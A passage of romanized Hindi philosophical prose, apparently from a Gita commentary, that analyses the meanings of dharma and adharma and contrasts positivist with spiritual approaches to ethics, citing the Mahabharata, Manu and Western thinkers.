hai.

ajakal uparyukt tin shabdoan (adhibhautik, adhidaivik aur adhyatmik) ke arth ko tho da sa badalakar prasiddh adhibhautik phrench pandit koant ne adhibhautik vivechan ko hi adhik mahattv diya hai. unaka kahana hai ki srishti ke mool tattv ko khojate rahane se kuchh labh nahian hai; yah tattv agamy hai arthath isako samajh lena kabhi bhi sanbhav nahian. isalie isaki kalpit nianv par kisi shastr ki imarat ko kh da kar dena n to sanbhav hai aur n hi uchit. asabhy aur jangali manushyoan ne pahale pahal jab pe d, badal aur jvalamukhi parvat adi ko dekha, tab un logoan ne apane bholepan se in sab padarthoan ko devata hi man liya. yah koant ke matanusar ‘adhidaivik’ vichar ho chuka. parantu manushyoan ne ukt kalpanaoan ko shighr hi tyag diya; ve samajhane lage ki in sab padarthoan mean kuchh n kuchh atmatattv avashy bhara hua hai. koant ke matanusar manavi jnan ki unnati ki yah doosari sidhi hai. ise vah ‘adhyatmik’ kahata hai. parantu jab is riti se srishti ka vichar karane par bhi pratyaksh upayogi shastriy jnan ki kuchh vriddhi nahian ho saki, tab aant mean manushy srishti ke padarthoan ke drishy gun–dharmoan ka hi aur bhi adhik vichar karane laga, jisase vah rel aur tar sarikhe upayogi avishkaroan ko dhooandh kar bahy srishti par apana adhik prabhav jamane lag gaya hai. is marg ko koant ne ‘adhibhautik’ nam diya hai. usane nishchit kiya hai ki kisi bhi shastr ya vishay ka vivechan karane ke lie any margoan ki apeksha yahi adhibhautik marg ka avalamb karana chahie. is marg ka avalamb karake is pandit ne itihas ki alochana ki aur sab vyavahar–shastroan ka yahi mathitarth nikala hai ki is sansar mean pratyek manushy ka param dharm yahi hai ki vah samast manav jati par prem rakh kar sab logoan ke kalyan ke lie sadaiv prayatn karata rahe. mil aur spensar adi aangrez pandit isi mat ke puraskarta kahe ja sakate haian. isake ulata kant, hegel, shopenahar adi jarman tatvajnani purushoan ne nitishastr ke vivechan ke lie is adhibhautik paddhati ko apoorn mana hai. hamare vedantiyoan ki nee adhyatmik drishti se hi niti ke samarthan karane ke marg ko aj–kal unhoanne yoorop mean phir bhi sthapit kiya hai.

ek hi arth vivakshit hone par bhi 'achchha aur bura' ke paryayavachi bhinn bhinn shabdoan ka, jaise 'kary–akary' aur 'dharmy–adharmy' ka upayog kyoan hone laga? isaka karan yahi hai ki vishay pratipadan ka marg ya drishti pratyek ki bhinn bhinn hoti hai. arjun ke samane yah prashn tha ki jis yuddh mean bhishm–dron adi ka vadh karana p dega, usamean shamil hona uchit hai ya nahian. yadi isi prashn ka uttar dene ka mauqa kisi adhibhautik pandit par ata, to vah pahale is bat ka vichar karata ki bharatiy yuddh se svayan arjun ko drishy hani–labh kitana hoga aur kul samaj par usaka kya parinam hoga? yah vichar karake tab usane nishchay kiya hota ki yuddh karana nyay hai ya anyay. isaka karan yah hai ki kisi karm ke achchhepan ya burepan ka nirnay karate samay ye adhibhautik pandit yahi socha karate haian ki is sansar mean us karm ka adhibhautik parinam arthath pratyaksh bahy parinam kya hua ya hoga – ye log is adhibhautik kasauti ke sivay aur kisi sadhan ya kasauti ko nahian manate. parantu aise uttar se arjun ka samadhan hona sanbhav nahian tha. usaki drishti isase bhi adhik vyapak thi. use keval apane saansarik hit ka vichar nahian karana tha; kintu use paralaukik drishti se yah bhi vichar kar lena tha ki is yuddh ka parinam mere atma par shreyaskar hoga ya nahian. use aisi batoan par kuchh bhi shanka nahian thi ki yuddh mean bhishm, dron adi ka vadh hone par tatha rajy milane par mujhe aichchhik sukh milega ya nahian; aur mera adhikar logoan ko duryodhan se adhik sukhadayak hoga ya nahian. use yahi dekhana tha ki maian jo kar raha hooan vah 'dharmy' hai ya 'adharmy', athava 'puny' hai ya 'pap'; aur gita ka vivechan bhi isi drishti se kiya gaya hai. keval gita mean hi nahian; kintu kee sthanoan par mahabharat mean bhi karm–akarm ka jo vivechan hai vah paralaukik arthath adhyatm–drishti se hi kiya gaya hai; aur vahaan kisi bhi karm ka achchhapan ya burapan dikhalane ke lie prayah sarvatr 'dharm' aur 'adharm' do hi shabdoan ka upayog kiya gaya hai. parantu 'dharm' aur usaka pratiyogi 'adharm'; ye donoan shabd apane vyapak arth ke karan kabhi kabhi bhram utpann kar diya karate haian; isalie yahaan par is bat ki kuchh adhik mimaansa karana avashyak hai ki karmayog–shastr mean in shabdoan ka upayog mukhyatah kis arth mean kiya jata hai.

nity vyavahar mean 'dharm' shabd ka upayog keval 'paralaukik sukh ka marg' isi arth mean kiya jata hai. jab ham kisi se prashn karate haian ki 'tera kaun–sa dharm hai?' tab usase hamare poochhane ka yahi hetu hota hai ki too apane paralaukik kalyan ke lie kis marg – vaidik, bauddh, jain, eesaee, muhammadi ya parasi se chalata hai; aur vah hamare prashn ke anusar hi uttar deta hai. isi tarah svarg–prapti ke lie sadhanabhoot yajn–yag adi vaidik vishayoan ki mimaansa karate samay 'athato dharmajijnasa' adi dharmasootroan mean bhi dharm shabd ka yahi arth liya gaya hai. parantu 'dharm' shabd ka itana hi sankuchit arth nahian hai. isake sivay rajadharm, prajadharm, kuladharm, mitradharm ityadi saansarik niti–bandhanoan ko bhi dharm kahate haian. dharm shabd ke do arthoan ko yadi prithakh karake dikhalana ho to paralaukik dharm ko 'mokshadharm' athava sirf 'moksh' aur vyavaharik dharm athava keval dharm kaha karate haian. udaharanarth; chaturvidh purusharthoan ki ganana karate samay ham log 'dharm, arth, kam, moksh’' kaha karate haian. isake pahale dharm shabd mean hi yadi moksh ka samavesh ho jata to ant mean moksh ko prithakh purusharth batalane ki avashyakata n rah jati. arthath; yah kahana p data hai ki 'dharm' pad se is sthan par sansar ke saik doan nitidharm hi shastrakaroan ko abhipret haian. inhian ko ham log ajakal karttavy, karm, niti, nitidharm athava sadacharan kahate haian. parantu prachin sanskrit granthoan mean 'niti' athava 'nitishastr' shabdoan ka upayog vishesh karake rajaniti ke lie hi kiya jata hai, isalie purane jamane mean karttavy–karm athava sadachar ke samany vivechan ko ‘niti–pravachan’ n kahakar 'dharm–pravachan' kaha karate the. parantu 'niti' aur 'dharm' do shabdoan ka yah paribhashik bhed sabhi sanskrit granthoan mean nahian mana gaya hai. isalie hamane bhi is granth mean 'niti', 'karttavy' aur 'dharm' shabdoan ka upayog ek hi arth mean kiya gaya hai; aur moksh ka vichar jis sthan par karana hai, us prakaran ke 'adhyatm' aur 'bhaktimarg' ye svatantr nam rakhe haian. mahabharat mean 'dharm' shabd anek sthanoan par aya hai, aur jis sthan par kaha gaya hai ki 'kisi ko koee kam karana dharm–sangat hai' us sthan par dharm shabd se karttavy–shastr athava tatkalin samaj–vyavastha shastr hi ka arth paya jata hai; tatha jis sthan mean paralaukik kalyan mean marg batalane ka prasang aya hai, us sthan par arthath shaantiparv ke uttarardh mean 'moksh–dharm' is vishisht shabd ki yojana ki gee hai. isi tarah manvadi smriti–granthoan mean brahman, kshatriy, vaishy aur shoodr ke vishisht karmoan, arthath charoan varnoan ke karmoan ka varnan karate samay keval dharm shabd ka hi anek sthanoan par kee bar upayog kiya gaya hai. aur, bhagavadgita mean bhi jab bhagavan arjun se yah kah kar l dane ke lie kahate haian ki svadharmamapi chaavekshy tab, aur isake bad

svadharme nidhanan shreyah paradharmo bhayavahah

is sthan par bhi 'dharm' shabd 'is lok ke chaturvarnyan ke dharm' ke arth ke roop mean hi prayukt hua hai. purane jamane ke rrishiyoan ne shram–vibhag roop chaturvarny sanstha isalie chalaee gee thi ki samaj ke sab vyavahar saralata se hote jaean, kisi ek vishisht vyakti ya varg par hi sara bojh n p dane pae aur samaj ka sabhi dishaoan se sanrakshan aur poshan bhali bhaanti hota rahe. yah bat bhinn hai ki kuchh samay ke bad charoan varnoan ke log keval jati–matropajivi ho ge; arthath sachche svakarm ko bhoolakar ve keval namadhari brahman, kshatriy, vaishy athava shoodr ho ge. isamean sandeh nahian hai ki aranbh mean yah vyavastha samaj dharanarth hi ki gee thi; aur yadi charoan varnoan mean se koee bhi ek varn apana dharm arthath karttavy chho d de, arthath yadi koee varn samool nasht ho jae aur usaki sthanapoorti doosare logoan se n ki jae to kul samaj utana hi pangu hokar dhire–dhire nasht bhi hone lag jata hai athava vah nishkrit avastha mean to avashy hi pahuanch jata hai. yadyapi yah bat sach hai ki yoorop mean aise anek samaj haian jinaka abhyuday chaturvarny vyavastha chahe n ho, parantu charoan varnoan ke sab dharm, jnati–roop se nahian to gun–vibhag roop hi se jagrit avashy rahate haian.

saraansh, jab ham dharm shabd ka prayog vyavaharik drishti se karate haian tab ham yahi dekha karate haian ki sab samaj ka dharan aur poshan kaise hota hai. manu ne kaha hai ki – asukhodark arthath jisaka karan duahkh karak hota hai us dharm ko chho d dena chahie aur shaantiparv ke satyanritadhyay mean dharm dharm–adharm ka vivechan karate hue bhishm aur usake poorv karn parv mean shri krishna kahate haian kiah–

dharanaddharmamityahuah dharmo dharayate prajaah.
yatsyaddharanasanyuktan s dharm iti nishchayah..

'dharm' shabd 'dhri' arthath 'dharan karana' dhatu se bana hai. dharm se hi sab praja bandhi huee hai. yah nishchay kiya gaya hai ki jisase (sab praja ka) dharan hota hai vahi dharm hai.' yadi yah dharm chhoot jae to samajh lena chahie ki samaj ke sare bandhan bhi toot ge, aur yadi samaj ke bandhan toote to akarshan–shakti ke bina akash mean sooryadi grahamalaoan ki jo dasha ho jati hai athava samudr mean mallah ke bina nav ki jo dasha hoti hai, thik vahi dasha samaj ki bhi ho jati hai. isalie ukt shochaniy avastha mean p dakar samaj ko nash se bachane ke lie vyas ji ne kee sthanoan par kaha hai ki, 'yadi arth ya dravy pana ho to 'dharm ke dvara' arthath samaj ki rachana ko n biga date hue prapt karo, aur yadi kam adi vasanaoan ko tript karana ho to vah bhi 'dharm se hi’ karo.' mahabharat ke ant mean yahi kaha hai kiah–

oordhvabahurviraumyeshah n ch kashchichchhrinoti mamh.
dharmadarthashch kamashch s dharmah kian n sevyate..

'are! bhuja utha kar maian chilla raha hooan, parantu koee bhi nahian sunata! dharm se hi arth aur kam ki prapti hoti hai, isalie is prakar ke dharm ka acharan tum kyoan nahian karate ho?' ab isase pathakoan ke dhyan mean yah bat achchhi tarah jam jaegi ki mahabharat mean jis dharm drishti se paanchavaan ved athava 'dharm–sanhita' manate haian, us 'dharm–sanhita' shabd ke 'dharm' shabd ka mukhy arth kya hai. yahi karan hai ki poorv mimaansa aur uttaramimaansa donoan hi paralaukik arth ke pratipadak granthoan ke sath hi dharmagranth ke nate se narayanan namaskrity in pratik shabdoan ke dvara mahabharat ka bhi samavesh brahmayajn ke nity path mean kar diya gaya hai.

dharm–adharm ke uparyukt niroopan ko sunakar koee yah prashn kare ki yadi tumhean 'samaj dharana' aur doosare prakaran ke satyanrit vivek mean kathit 'sarvabhootahit'; ye donoan hi tattv many haian to tumhari drishti mean aur adhibhautik drishti mean bhed hi kya hai? kyoanki ye donoan hi tattv bahyatah pratyaksh dikhane vale aur adhibhautik hi haian. is prashn ka vistrit vichar agale prakaranoan mean kiya gaya hai. yahaan itana hi kahana bas hai ki, yadyapi hamako yah tattv many hai ki samaj–dharana hi dharm ka mukhy bahy upayog hai, tathapi hamare mat ki visheshata yah hai ki vaidik athava any sab dharmoan ka jo param uddeshy atm–kalyan ya moksh hai, us par bhi hamari drishti bani hai. samaj–dharana ko hi le lijie, chahe sarv–bhootahit hi ko; yadi ye bahyopayogi tattv hamare atm–kalyan ke marg mean badha dalean to hamean inaki zaroorat nahian. hamare ayurved granth yadi yah pratipadan karate haian ki vaidyakashastr bhi sharir raksha ke dvara moksh prapti ka sadhan hone ke karan sangrahaniy hai; to yah kadapi sanbhav nahian ki jis shastr mean is vishay ka vichar kiya gaya hai ki saansarik vyavahar kis prakar karana chahie, us karmayog shastr ko hamare shastrakar adhyatmik mokshajnan se alag batalaean. isalie ham samajhate haian ki jo karm hamare moksh athava hamari adhyatmik unnati ke anukool hoan vahi puny hai, vahi dharm hai aur vahi shubh karm hai; aur jo karm usake pratikool hoan vahi pap hai, adharm hai aur ashubh hai. yahi karan hai ki ham 'karttavy–akarttavy', 'pap–puny', 'kary–akary' shabdoan ke badale 'dharm' aur 'adharm' shabdoan ka hi (yadyapi ve do arth ke, atev kuchh sanbhav hoan to bhi) adhik upayog karate haian. yadyapi bahy srishti ke vyavaharik karmoan athava vyaparoan ka vichar karana hi pradhan vishay ho, to bhi ukt karmoan ke bahy parinam ke vichar ke sath hi yah vichar bhi ham log hamesha kiya karate haian ki ye vyapar hamari atma ke kalyan ke anukool haian ya pratikool. yadi adhibhautik–vadi se koee yah prashn kare ki 'maian apana hit chho dakar logoan ka hit kyoan karooan?' to vah isake sivay aur kya samadhan–karak uttar de sakata hai ki 'yah to samanyatah manushy svabhav hi hai.' hamare shastrakaroan ki drishti isake pare pahuanchi huee hai aur us vyapak adhyatmik drishti se hi mahabharat mean karmayog–shastr ka vichar kiya gaya hai evan shrimadbhagavadagita mean vedant ka niroopan bhi itane ke lie hi kiya gaya hai. prachin yoonani panditoan ki bhi yahi ray hai ki 'atyant hit' athava 'sadgun ki parakashtha' ke saman manushy ka kuchh n kuchh param uddeshy kalpit karake phir usi drishti se karm–akarm ka vivechan karana chahie; aur arastoo ne apane nitishastr ke granth mean kaha hai ki atma ke hit mean hi in sab batoan ka samavesh ho jata hai. tathapi is vishay mean atma ke hit ke lie jitani pradhanata deni chahie thi, utani arastoo ne di nahian hai. hamare shastrakaroan mean yah bat nahian hai. unhoanne nishchit kiya hai ki atma ka kalyan athava adhyatmik poornavastha hi pratyek manushy ka pahala aur param uddeshy hai. any prakar ke hitoan ki apeksha isi ko pradhan janana chahie aur isi ke anusar karm–akarm ka vichar karana chahie; adhyatm vidya ko chho dakar karm–akarm ka vichar karana thik nahian hai. jan p data hai ki vartaman samay mean pashchimi deshoan ke kuchh panditoan ne bhi karm–akarm ke vivechan ki isi paddhati ko svikar kiya hai. udaharanarth; jarman tatvajnani kant ne pahale 'shuddh (vyavasayatmik) buddhi ki mimaansa' namak adhyatmik granth ko likhakar phir usaki poorti ke lie 'vyavaharik (vasanatmak) buddhi ki mimaansa' nam ka nitishastr vishayak granth likha hai; aur ianglaiand mean bhi grin ne apane 'nitishastr ke upoddhat' ka srishti ke moolabhoot atmatattv se hi aranbh kiya hai. parantu in granthoan ke badale keval adhibhautik panditoan ke hi nitigranth ajakal hamare yahaan aangrezi shalaoan mean padhae jate haian; jisaka parinam yah dekh p data hai ki gita mean batalae ge karmayog–shastr ke moolatatvoan ka ham logoan mean aangrezi sikhe hue bahutere vidvanoan ko bhi spasht bodh nahian hota. ukt vivechan se jnat ho jaega ki vyavaharik niti–bandhanoan ke lie athava samaj dharana ki vyavastha ke lie ham 'dharm' shabd ka upayog kyoan karate haian. mahabharat, bhagavadgita adi sanskrit granthoan mean tatha bhasha granthoan mean bhi vyavaharik karttavy athava niyam ke arth mean 'dharm' shabd ka hamesha upayog kiya jata hai. kuladharm aur kulachar, donoan hi shabd samanarthak samajhe jate haian.

bharatiy yuddh mean ek samay karn ke rath ka pahiya prithvi ne nigal liya tha; usako uthakar oopar lane ke lie jab karn apane rath se niche utara tab arjun usaka vadh karane ke lie udyat hua. yah dekhakar karn ne kaha, niahshastr shatru ko marana dharmayuddh nahian hai. ise sunakar shri krishna ne karn ko kee pichhali batoan ka smaran dilaya, jaise ki – draupadi ka vastr haran kar liya gaya tha, sab logoan ne milakar akele abhimanyu ka vadh kar dala tha ityadi; aur pratyek prasang mean yah prashn kiya hai ki 'he karn! us samay tera dharm kahaan gaya tha?' in sab batoan ka varnan maharashtr kavi moropant ji ne kiya hai aur mahabharat mean bhi isi prasang par 'kate dharmastada gatah' prashn mean 'dharm' shabd ka hi prayog kiya gaya hai tatha aant mean kaha gaya hai ki jo is prakar ka adharm kare, usake sath usi tarah ka bartav karana hi usako uchit dand dena hai. saraansh; kya sanskrit aur kya bhasha, sabhi granthoan mean 'dharm' shabd ka prayog un sab niti niyamoan ke bare mean kiya gaya hai jo samaj dharana ke lie shishtajanoan ke dvara adhyatm drishti se banae ge haian; isalie usi shabd ka upayog hamane bhi is granth mean kiya hai. is drishti se vichar karane par niti ke un niyamoan athava 'shishtachar' ko dharm ki buniyad kah sakate haian jo samaj dharana ke lie shishtajanoan ke dvara prachalit kie ge hoan aur jo sarvamany ho chuke hoan. isalie mahabharat mean evan smriti granthoan mean 'acharaprabhavo dharmah' athava 'acharah paramodharmah', athava dharm ka mool batalate samay vedah smritiah sadacharah svasy ch priyamatmanah ityadi vachan kahe ge haian. parantu karmayog–shastr mean itane se hi kam nahian chal sakata; is bat ka bhi poora aur marmik vichar karana p data hai ki ukt achar ki pravritti hi kyoan huee – is achar ki pravritti hi ka karan kya hai.

'dharm' shabd ki doosari ek aur vyakhya prachin granthoan mean di gee hai; usaka bhi yahaan tho da vichar karana chahie. yah vyakhya mimaansakoan ki hai 'chodana lakshanoartho dharmah.' kisi adhikari purush ka yah kahana athava ajna karana ki 'too amuk kam kar' athava 'mat kar', 'chodana' yani prerana hai. jab tak is bat ka koee prabandh nahian kar diya jata, tab tak koee bhi kam kisi ko bhi karane ki svatantrata hoti hai. isaka ashay yahi hai ki pahale pahal nibandh ya prabandh ke karan dharm nirman hua. dharm ki yah vyakhya kuchh aansh mean prasiddh aangrez granthakar h aaubs ke mat se milati hai. asabhy tatha jangali avastha mean pratyek manushy ka acharan samay samay par utpann hone vali manovrittiyoan ki prabalata ke anusar hua karata hai. parantu dhire dhire kuchh samay ke bad yah maloom hone lagata hai ki is prakar ka manamana bartav shreyaskar nahian hai; aur yah vishvas hone lagata hai ki iandriyoan ke svabhavik vyaparoan ki kuchh maryada nishchit karake usake anusar bartav karane hi mean sab logoan ka kalyan hai; tab pratyek manushy aisi maryadaoan ka palan kayade ke taur par karane lagata hai jo shishtachar se, any riti se sudridh ho jaya karati haian. jab is prakar ki maryadaoan ki sankhya bahut badh jati hai tab unhian ka ek shastr ban jata hai. poorv kal mean vivah–vyavastha ka prachar nahian tha. pahale pahal use shvetaketu ne chalaya aur shukrachary ne madirapan ko nishiddh thaharaya. yah n dekhakar, ki in maryadaoan ko niyukt karane mean shvetaketu athava shukrachary ka kya hetu tha, keval isi bat pi dhyan dekar ki in maryadaoan ke nishchit karane ka kam ya karttavy in logoan ko karana p da, dharm shabd ki 'chodana lakshanoartho dharmah' vyakhya ban gee hai. dharm bhi hua to pahale usaka mahattv kisi vyakti ke dhyan mean ata hai aur tabhi usaki pravritti hoti hai. 'khao–pio, chain karo' ye batean kisi ko sikhalana nahian p dati; kyoanki ye iandriyoan ke svabhavik dharm hi haian. manu ji ne jo kaha hai ki 'n maansabhakshane dosho n madye n ch maithune'– arthath maans bhakshan karana athava madyapan aur maithun karana koee srishtikarm viruddh dosh nahian hai, usaka tatpary bhi yahi hai. ye sab batean manushy ke lie hi nahian, kintu pranimatr ke lie svabhavik haian – 'pravrittiresha bhootanamh.' samaj–dharana ke lie arthath sab logoan ke sukh ke lie is svabhavik acharan ka uchit pratibandh karana hi dharm hai. mahabharat mean bhi kaha gaya haiah–

aharanidrabhayamaithunan ch samanyametatpashubhirnaranamh.
dharmo hi teshamadhiko vishesho dharmen hinaah pashubhiah samanaah..

arthath 'ahar, nidra, bhay aur maithun, manushyoan aur pashuoan ke lie ek hi saman svabhavik haian. manushy aur pashuoan mean kuchh bhed hai to keval dharm ka (arthath in svabhavik vrittiyoan ko maryadit karane ka). jis manushy mean yah dharm nahian hai, vah pashu ke saman hi hai!' aharadi svabhavik vrittiyoan ko maryadit karane ke vishay mean bhagavat ka shlok pichhale prakaran mean diya gaya hai. isi prakar bhagavadgita mean bhi jab arjun se bhagavan kahate haian –

iandriyasyeandriyasyarthe ragadvashau vyavasthitau.
tayorn vashamagachchheth tau hyasy paripanthinau..

'pratyek iandriy mean apane apane upabhogy athava tyajy padarth ke vishay mean jo priti athava dvesh hota hai, vah svabhav siddh hai. inake vash mean hamean nahian hona chahie kyoanki rag aur dvesh donoan hi hamare shatru haian.' tab bhagavan bhi dharm ka vahi lakshan svikar karate haian jo svabhavik manovrittiyoan ko maryadit karane ke vishay mean oopar diya gaya hai. manushy ki iandriyaan use pashu ke saman acharan karane ke lie kaha karati haian aur usaki buddhi isake viruddh disha mean khiancha karati haian. is kalahagni mean jo log apane sharir mean sanchar karane vale pashutv ka yajn karake kritakrity (saphal) hote haian, unhean hi sachcha yajnik kahana chahie aur vahi dhany bhi haian.

dharm ko 'achar–prabhav' kahie, 'dharanath dharm' manie athava 'chodanalakshan dharm' samajhie; dharm ki yani vyavaharik nitibandhanoan ki koee bhi vyakhya le lijie, parantu jab dharm–adharm ka sanshay utpann hota hai tab usaka nirnay karane ke lie uparyukt tinoan lakshanoan ka kuchh upayog nahian hota. pahali vyakhya se sirf yahi maloom hota hai ki dharm ka mool svaroop kya hai; usaka bahy upayog doosari vyakhya se maloom hota hai; aur tisari vyakhya se yahi bodh hota hai ki pahale pahal kisi ne dharm ki maryada nishchit kar di hai. parantu anek acharoan mean bhed paya jata hai; ek hi karm ke anek parinam hote haian aur anek rrishiyoan ki ajna arthath 'chodana' bhi bhinn bhinn hai. in karanoan se sanshay ke samay dharm nirnay ke lie kisi doosare marg ko dhooandhane ki avashyakata hoti hai. yah marg kaun–sa hai? yahi prashn yaksh ne yudhishthir se kiya tha. is par yudhishthir ne uttar diya hai kiah–

tarkoapratishthah shrutayo vibhinnaah naiko rrishiryasy vachah pramanamh.
dharmasy tatvan nihitan guhayaan mahajano yen gatah s panthaah..

yadi tark ko dekhean to vah chanchal hai, arthath 'jisaki buddhi jaisi tivr hoti hai vaise hi anek prakar ke anek anuman tark se nishpann ho jate haian; shruti arthath vedajna dekhi jae to vah bhi bhinn bhinn hai aur yadi smriti shastr ko dekhean to aisa ek bhi rrishi nahian hai jisaka vachan any rrishiyoan ki apeksha adhik pramanabhoot samajha jae. achchha, is (vyavaharik) dharm ka mool tattv dekha jae to vah bhi aandhakar mean chhip gaya hai, arthath vah sadharan manushyoan ki samajh mean nahian a sakata. isalie maha–jan jis rah se ge hoan, vahi (dharm ka) marg hai'. thik hai! parantu maha–jan kis ko kahana chahie? usaka arth 'b da athava bahut–sa janasamooh' nahian ho sakata kyoanki jin sadharan logoan ke man mean dharm–adharm ki shanka bhi kabhi utpann nahian hoti, unake batalae marg se jana, mano kathopanishad mean varnit andhenaiv niyamana yathandhaah vali niti hi ko charitarth karana hai. ab yadi mahajan ka arth 'b de b de sadachari purush’ liya jae, aur yahi arth ukt shlok mean abhipret hai to un maha–janoan ke acharan me bhi ekata kahaan hai? nishpap shri ramachandr ne agni dvara shuddh ho jane par bhi apani patni ka tyag keval lokapavad hi ke lie kiya; aur sugriv ko apane paksh mean milane ke lie usase 'tulyarimitr' – arthath jo tera shatru hai vahi mera bhi shatru hai, aur jo tera mitr hai vah mera bhi mitr hai; is prakar ki sandhi karake bechare bali ka vadh kiya, yadyapi usane shri ramachandr ji ka kuchh aparadh nahian kiya tha! parashuram ne to pita ki ajna se pratyaksh apani mata ka shirashchhed kar dala! yadi paandavoan ka acharan dekha jae to koee ahalya ka satitv bhrasht karane vala hai, aur koee brahma mrigaroop se apani hi kanya ki abhilash karane ke karan rudr ke ban se viddh hokar akash mean p da hua hai.

inhian batoan ko man mean lakar uttar–ramacharitr natak mean bhavabhooti ne lav ke mukh se kahalaya hai ki 'vriddhaste n vicharaniy charitaah' – in vriddhoan ke krityoan ka bahut vichar nahian karana chahie. aangrezi mean shaitan ka itihas likhane vale ek granthakar ne likha hai ki shaitan ke sathiyoan aur devadootoan ke jhag de ka hal dekhane se maloom hota hai ki kee bar devataoan ne hi daityoan ko kapatajal mean phaans liya hai. isi prakar kaushitaki brahmanopanishad mean indr pratardan se kahata hai ki 'maianne vritr ko (yadyapi vah brahman tha) mar dala. aroonmukh sannyasiyoan ke tuk de karake bhe diyoan ko khane ke lie die aur apani kee pratijnaoan ko bhang karake prahlad ke natedaroan dvara gotrajoan ka tatha paulom aur kalakhanj namak daityoan ka vadh kiya, (isase) mera ek bal bhi baanka nahian hua.

tasy me tatr n lom ch ma miyate!

yadi koee kahe ki 'tumhean in mahatmaoan ke bure karmoan ki or dhyan dene ka kuchh bhi karan nahian hai; jaisa ki taittiriyopanishad mean batalaya hai, unake jo karm achchhe hoan, unhian ka anukaran karo aur sab chho d do. udaharanarth; parashuram ke saman pita ki ajna ka palan karo' to vahi pahala prashn phir bhi uthata hai ki bura karm aur bhala karm samajhane ke lie sadhan hai kya? isalie apani karani ka ukt prakar se varnan kar iandr pratardan se phir kahata hai ki 'jo poorn atmajnani hai use matrivadh, pitrivadh, bhroonahatya aur stey (chori) ityadi kisi bhi karm ka dosh nahian lagata. is bat ko too bhali–bhaanti samajh le aur phir yah bhi samajh le ki atma kise kahate haian. aisa karane se tere sare sanshay ki nivritti ho jaegi.' isake bad iandr ne pratardan ko atmavidya ka upadesh diya.

saraansh yah hai ki 'mahajano yen gatah s panthaah' yah yukti yadyapi samany logoan ke lie saral hai, to bhi sab batoan mean isase nirvah nahian ho sakata aur aant mean mahajanoan ke acharanoan ka sachcha tattv kitana bhi goodh ho to bhi atmajnan mean ghusakar vicharavan purushoan ko use dhooandh nikalana hi p data hai. 'n devacharitan chareth' – devataoan ke keval bahari charitr ke anusar acharan nahian karana chahie. is upadesh ka rahasy bhi yahi hai. isake sivay karm–akarm ka nirnay karane ke lie kuchh logoan ne ek aur saral yukti batalaee hai. unaka kahana hai ki koee bhi sadagun ho, usaki adhikata n hone dene ke lie hamean hamesha yatn karate hi rahana chahie kyoanki is adhikata se hi aant mean sadagun durgun ban baithata hai. jaise dan dena sachamuch sadagun hai, parantu ati danaddhalirbaddhah dan ki adhikata hone se hi raja bali phaansa gaya tha. prasiddh yoonani pandit arastoo ne apane niti–shastr ke granth mean karm–akarm ke nirnay ki yahi yukti batalaee hai aur spashtataya dikhalaya hai ki pratyek sadagun ki adhikata hone par durdasha kaise ho jati hai. kalidas ne bhi raghuvansh mean varnan kiya hai ki keval shoorata vyaghr sarikhe shvapad ka kroor kam hai aur keval niti bhi darapokapan hai, isalie atithi raja talavar aur rajaniti ke yogy mishran se apane rajy ka prabandh karata tha. bhartahari ne bhi kuchh gun–doshoan ka varnan kar kaha hai ki zyada bolana vachalata ka lakshan hai aur kam bolana ghummapan hai, yadi zyada kharch kare to u daoo aur kam kare to kanjoos, age badhe to duahsahasi aur pichhe hate to dhila, atishay agrah kare to ziddi aur n kare to chanchal, zyada khushamad kare to nich aur aianth dikhalae to ghamandi hai; parantu is prakar ki sthool kasauti se aant tak nirvah nahian ho sakata kyoanki 'ati' kise kahate haian aur 'niyamit' kise kahate haian – isaka bhi to kuchh nirnay hona chahie n; tatha yah nirnay kaun kis prakar kare? kisi ek ko athava kisi ek mauke par jo bat ‘ati’ hogi, vahi doosare ko athava doosare mauke par kam ho jaegi. hanuman ji ko, paida hote hi soory ko pak dane ke lie u dan marana koee kathin kam nahian maloom p da; parantu yahi bat auroan ke lie kathin kya, asanbhav hi jan p dati hai. isalie jab dharm–adharm ke vishay mean sandeh utpann ho to tab pratyek manushy ko thik vaisa hi nirnay karana p data hai jaisa shyen ne raja shibi se kaha haiah–

avirodhattu yo dharmah s dharmah satyaviktam.
virodhishu mahipal nishchity gurulaghavamh.
n badha vidyate yatr tan dharme samupachareth..

arthath paraspar viruddh dharmoan ka taratamy athava laghuta aur guruta dekhakar hi pratyek mauke par apani buddhi ke dvara sachche dharm athava karm ka nirnay karana chahie. parantu yah bhi nahian kaha ja sakata hai ki itane hi se dharm–adharm ke sar–asar ka vichar karana hi shanka ke samay dharm nirnay ki ek sachchi kasauti hai. kyoanki vyavahar mean anek bar dekha jata hai ki anek pandit log apani apani buddhi ke anusar sar–asar ka vichar bhi bhinn bhinn prakar se kiya karate haian. yahi arth uparyukt 'tarkoapratishthah' vachan mean kaha gaya hai. isalie ab hamean yah janana chahie ki dharmah adharm sanshay ke in prashnoan ka achook nirnay karane ke lie any koee sadhan ya upay haian ya nahian. yadi haian, to kaun se haian, aur yadi anek upay hoan to usamean shreshth kaun haian. bas; is bat ka nirnay kar dena hi shastr ka kam hai.

shastr ka yahi lakshan bhi hai ki anekasanshayochchhedi paroksharthasy darshakamh

arthath anek shankaoan ke utpann hone par sabase pahane un vishayoan ke mishran ko alag alag kar de jo samajh mean nahian a sakate haian, phir usake arth ko sugam aur spasht kar de, aur jo batean aankhoan se dekh n p dati hoan, unaka athava age hone vali batoan ka bhi yatharth jnan kara de. jab ham is bat ko sochate haian ki jyotish shastr ke sikhane se age hone vale grahanoan ka bhi sab hal maloom ho jata hai, jab ukt lakshan ke 'paroksharthasy darshakamh' is doosare bhag ki sarthakata achchhi tarah dekh p dati hai. parantu anek sanshayoan ka samadhan karane ke lie pahale yah janana chahie ki ve kaun si shankaean haian. isalie prachin aur arvachin granthakaroan ki yah riti hai ki kisi bhi shastr ka siddhant paksh batalane ke pahale, us vishay mean jitane paksh ho ge hoan; unaka vichar karake unake dosh aur unaki nyoonataean dikhalaee jati haian. isi riti ko svikar kar gita mean karm–akarm nirnay ke lie pratipadan kiya hua siddhant pakshiy yog arthath yukti batalane ke pahale isi kam ke lie jo any yuktiyaan pandit log batalaya karate haian, un par bhi vichar karean.

